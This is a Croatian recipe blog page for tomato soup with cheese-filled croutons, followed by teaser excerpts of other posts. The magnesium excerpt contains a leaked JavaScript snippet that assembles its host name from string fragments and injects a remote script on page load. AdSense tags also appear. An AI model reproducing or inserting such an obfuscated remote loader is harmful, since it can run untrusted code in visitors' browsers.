JUHA OD RAJČICE S KRUTONIMA PUNJENIM SIROM 🍅




Juha od rajčice s krutonima punjenim sirom



Juha od rajčice i tost sendvič sa sirom savršen su gastronomski par koji se često jede u Sjedinjenim Američkim Državama. Ta kombinacija nadahnula je i ovo jelo – umjesto tosta juha se servira s krutonima punjenima rastopljenim sirom.




Juha od rajčice s krutonima punjenim sirom 


Sastojci:

  • 2 limenke od 800 g nasjeckanih rajčica
  • 500 ml pilećeg temeljca
  • 150 g maslaca
  • 125 ml vrhnja za kuhanje
  • 6 kriški kruha
  • 6 kriški sira (npr. cheedar, gauda)
  • 3-4 češnja češnjaka
  • 1 veća mrkva
  • 1 luk
  • 1 čajna žličica origana
  • sol i papar po želji
  • svježi bosiljak



Priprema:

  1. U većem loncu zagrijte nešto biljnog ulja, pa na njemu prepirjajte nasjeckani luk i mrkvu. Pirjajte povrće oko pet minuta dok ne počinje dobivati lijepu zlatno-smeđu boju. Potom dodajte nasjeckani češnjak i nastavite pirjati još oko jedne minute.
  2. Sadržaj lonca podlijte pilećim temeljcem te sjeckanim rajčicama i njihovim sokom. Začinite sa solju, paprom i origanom i pustite da se sve zajedno kuha oko 15 minuta.
  3. Povrće u juhi usitnite štapnim mikserom kako biste dobili glatku gustu juhu. Po želji možete sadržaj lonca prebaciti i u blender, izblendati pa vratiti na štednjak. Dodajte vrhnje za kuhanje i nastavite termički obrađivati sve zajedno par minuta dok se sastojci ne povežu i sljube. Na kraju kuhanja u juhu dodajte i svježe listiće bosiljka.
  4. Dok se juha kuha napravite mini krutone punjene sirom: odrežite koru na kruhu, premažite ga maslacem s unutarnje i vanjske strane, između dvije kriške kruha stavite dvije kriške sira pa sendviče narežite na manje kocke. Pecite mini sendviče u tavi na štednjaku oko pet minuta s obje strane, odnosno dok ne postanu hrskavi i ne dobiju lijepu zlatno-smeđu boju.
  5. Poslužite juhu s hrskavim krutonima punjenima sirom. Dobar tek!



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

LAGANA TALIJANSKA KREMA OD KAVE

Slika
https://www.novilist.hr/life/najpjenastija-niskokaloricna-talijanska-krema-od-kave/ Lagana talijanska krema od kave <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Talijanska kuhinja poznata je po bogatim desertima kojima je teško odoljeti .  No ako želite nešto laganije, a jednako ukusno, ova kremasta slastica mogla bi postati vaš novi favorit. Riječ je o modernoj verziji talijanskog deserta, koji se priprema bez teškog vrhnja i s minimalnim brojem sastojaka. Krema ima osvježavajuću pjenastu teksturu, nježnu aromu kave i prirodnu slatkoću zahvaljujući zaslađivaču poput eritritola. Idealna je za sve koji žele uživati u desertu, ali pritom paziti na unos kalorija. Lagana talijanska krema od kave Sastojci: 150 g leda 120 ml vode 20 do 40 g instant kave (ovisno o jačini koju volite) 40 g eritritola ili drugog zaslađivača malo mlijeka po ukusu...
Pročitajte više

KAKO RAZLIKOVATI ISCRPLJENOST OD LIJENOSTI?

Slika
Kako razlikovati iscrpljenost od lijenosti? Ponekad se čini da su “lijenost” i “umor” isto, ali u stvarnosti to su potpuno različite stvari. Lijenost je trenutna nevoljkost za rad, gubitak interesa ili dosada koja obično prolazi nakon odmora ili promjene. Iscrpljenost ide mnogo dublje; to je fizički i mentalni umor koji ne nestaje jednostavnim predahom, a ponekad donosi i bolove u tijelu ili osjećaj gubitka kontrole. To nije prolazna faza; iscrpljenost traži stvaran odmor. <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Znakovi da si stvarno iscrpljena Ako se ovi znakovi ponavljaju kroz dulje razdoblje, velika je vjerojatnost da je riječ o iscrpljenosti, a ne o lijenosti. 1. Nedostatak motivacije cijeli dan Ako se cijeli dan osjećaš demotivirano, i to ne samo u određenim trenucima, moguće je da je riječ o iscrpljenosti. Za razliku od lijen...
Pročitajte više